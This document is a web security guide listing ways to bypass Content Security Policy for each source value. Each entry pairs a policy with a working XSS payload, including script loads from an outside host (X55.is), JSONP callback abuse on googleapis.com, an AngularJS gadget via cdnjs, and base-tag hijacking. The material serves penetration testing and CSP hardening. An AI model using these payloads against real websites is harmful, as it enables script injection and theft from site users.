Content Security Policy Bypass Guidelines
Content Security Policy (CSP) is the last line of defense against the exploitation of a XSS vulnerability. When correctly implemented, it seems to be extremely effective in doing so (nowadays). Here we will deal with the possible ways to abuse flaws in its implementation. For a comprehensive reference on CSP check here.

Some basic samples are available for exercise before you check this post:
To make it easier to understand and follow we will get straight into the source values we can found for a given directive and how to use them to get a bypass. Some other useful exploitation tricks end this guide.
unsafe-inline
The best CSP source value for script-src directive we can find since it allows everything we might need: event handlers, javascript pseudo-protocol and scripts. A simple <script>alert(1)</script> or <tag onevent=alert(1)> is enough to XSS.
Policy Example:
script-src 'unsafe-inline';
Bypass Example:
<Svg OnLoad=alert(1)>
* (wildcard)
This means that any source for a given directive is allowed.
Policy Example:
script-src *;
Bypass Example:
<Script Src=//X55.is></Script>
‘self’
For ‘self’ source value for script-src directive we have the following bypass options:
- Using an uploaded file with Javascript code as source of a script;
Policy Example:
script-src 'self';
Bypass Example:
<Script Src=/uploads/myfile.js></Script>
- Using a JSONP callback from a relative URL as source of a script;
Policy Example:
script-src 'self';
Bypass Example:
<Script Src=/api/v1?callback=alert(1)></Script>
[blur]
- Using an existing relative URL to call a JS library and with unsafe-eval source execute a script gadget.
Policy Example:
script-src 'self' 'unsafe-eval';
Bypass Example:
<Script Src=/libs/angular-1.6.0.js></Script> <K Ng-App>{{$new.constructor('alert(1)')()}}
Whitelisted Scheme
If data URI (data:) or secure http (https:) is provided as source for a script-src directive, it can be used to bypass this very directive. Note this is only useful for script policies/injections since a https source (except in base element) or a data URI (which runs in blank context for all HTML elements) can’t be used in other XSS vectors.
Policy Example:
script-src data: ;
Bypass Example:
<Script Src=data:,alert(1)></Script>
Policy Example:
script-src https: ;
Bypass Example:
<Script Src=https://X55.is></Script>
Whitelisted Domain
All whitelisted domains are a breach on the respective policy so if we find a way to import a JSONP endpoint with callback or to include a JS library (with unsafe-eval) too, it will work flawless. An old (also non-verified) list of possible JSONP endpoints with callback for several well known websites can be found here.
Policy Example:
script-src 'https://*.googleapis.com';
Bypass Example:
<Script Src=https://www.googleapis.com/customsearch/v1?callback=alert(1)></Script>
Policy Example:
script-src 'unsafe-eval' 'https://cdnjs.cloudflare.com';
Bypass Example:
<Script Src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js> </Script><K Ng-App>{{$new.constructor('alert(1)')()}}
base-uri
If there’s a running script in the page called with a relative path like /path/script.js after the point of injection, there’s no base URI set in the document and no base-uri directive, there’s a simple bypass for any CSP implemented.
Policy Example:
script-src 'nonce-r4nd0mch4rs';
Bypass Example:
<Base Href=//X55.is>
Fixed or Predictable Nonce
If a nonce-based policy is implemented and that value is a fixed one or easily predictable (like with sequential, incremental numbers or chars) bypass is straightforward.
Policy Example:
script-src 'nonce-abcd1234';
Bypass Example:
<Script Src=//X55.is Nonce=abcd1234></Script>
Internet Explorer
The old Internet Explorer browser has a very limited coverage of modern CSP, mostly related to frames so it can be safely used as a bypass itself for a given CSP.
*** DOM-based XSS Tip ***
In DOM-based injection scenarios a script used for a CSP bypass might not load so we can use the following to achieve Javascript execution:
[/blur]